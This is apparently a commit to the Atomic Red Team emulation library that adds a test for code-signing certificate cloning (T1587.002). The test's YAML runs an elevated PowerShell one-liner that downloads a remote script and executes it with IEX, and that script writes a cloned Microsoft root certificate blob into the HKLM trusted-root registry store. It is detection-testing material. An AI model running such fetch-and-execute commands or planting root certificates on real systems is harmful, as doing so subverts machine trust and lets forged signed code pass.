Add Root Certificate to CurrentUser (#1835)

2022-03-31 14:37:10 -06:00
parent f6f1efa7a8
commit b2a0d07d9b
2 changed files with 34 additions and 0 deletions
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+attack_technique: T1587.002
+display_name: 'Develop Capabilities: Code Signing Certificates'
+atomic_tests:
+- name: Add Root Certificate to CurrentUser Certificate Store
+  description: |
+    The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
+    Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
+    Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
+  supported_platforms:
+  - windows
+  executor:
+    command: |
+       IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1587.002/src/RemoteCertTrust.ps1' -UseBasicParsing) 
+    cleanup_command: |
+       Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item 
+    name: powershell
+    elevation_required: true
@@ -0,0 +1,17 @@
+# Original https://gist.github.com/mattifestation/429008d961bb719d5bd5ce262557bdbf
+# Referenced blog: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
+
+$CertThumbprint = '1F3D38F280635F275BE92B87CF83E40E40458400'
+$EncodedCertBlob = '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'
+
+Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName CreateKey -Arguments @{
+    hDefKey = [UInt32] 2147483650 # HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\$CertThumbprint"
+}
+
+Invoke-CimMethod -Namespace root/default -ClassName StdRegProv -MethodName SetBinaryValue -Arguments @{
+    hDefKey = [UInt32] 2147483650 # HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\$CertThumbprint"
+    sValueName = 'Blob'
+    uValue = [Convert]::FromBase64String($EncodedCertBlob)
+}